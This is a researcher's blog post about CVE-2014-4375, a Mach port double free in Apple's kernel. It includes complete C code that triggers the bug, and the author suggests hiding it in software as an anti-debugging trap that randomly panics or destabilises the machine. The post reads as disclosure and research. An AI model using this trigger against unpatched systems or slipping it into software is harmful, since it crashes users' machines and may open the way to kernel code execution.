The double free mach port bug: The short story of a dead 0day

The iOS 8 security update bulletin has many fixed bugs, one of which is this one:

A double free issue existed in the handling of Mach ports. This issue was addressed through improved validation of Mach ports. CVE-2014-4375 : an anonymous researcher.

Well, I’ve known this bug for a while and it was insanely fun as anti-debugging measure because of its random effects when triggered. For example, sometimes you get an immediate kernel panic, others nothing happens, and most of the time you get weird CPU spikes not attributed to any process, or system lock ups after a while. This used as anti-debugging measure is extremely fun because the attacker will suffer from totally random events and the bug is easy to hide in plain sight.

The following sample code will trigger it:

#include <CoreFoundation/CoreFoundation.h>
#include <mach/host_priv.h>
#include <mach/mach.h>
#include <mach/host_special_ports.h>

static mach_port_t service;     /* our own service port */

int main(int argc, const char * argv[])
{
    kern_return_t kr = 0;
    /* create the negotiation server service port */
    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &service);
    if (kr != KERN_SUCCESS)
    {
        printf("Failed to allocate port: %s\n", mach_error_string(kr));
        exit(1);
    }
    /* host_set_special_port requires a send right */
    kr = mach_port_insert_right(mach_task_self(), service, service, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS)
    {
        printf("Failed to mach_port_insert_right: %s\n", mach_error_string(kr));
        exit(1);
    }
    mach_port_t host_port;
    /* get host port so we can do the host_set_special_port */
    if ((host_port = mach_host_self()) == MACH_PORT_NULL)
    {
        printf ("mach_host_self() returned MACH_PORT_NULL\n");
        exit(1);
    }
    kr = host_set_special_port (host_port, // invalid port being passed
                                HOST_UNFREED_PORT,
                                service);
    if (kr != KERN_SUCCESS)
    {
        printf ("Can't check in with server\n");
        /* we should crash here */
        exit(1);
    }
    CFShow(CFSTR("Hello, World!\n"));
    return 0;
}

Start Activity Monitor and load the binary once or twice in a Terminal window. You should immediately observe the effects. In iOS it results in immediate kernel panic and reboot.

This bug is fixed on Yosemite DP4 or later, and iOS 8. All other versions are still vulnerable. For example Mavericks 10.9.5 was released just after iOS 8 and the bug is still unfixed. A common practice from Apple if we take in account that bugs disclosed at SyScan 2013 are still unfixed in Mountain Lion.
The Apple motto seems to be: Use the latest version or be vulnerable (aka fuck off!).

The impact attributed by Apple to this one:

Impact: A local user may be able to cause an unexpected system termination or arbitrary code execution in the kernel.

Take your own conclusions 😉.

Have fun,
fG!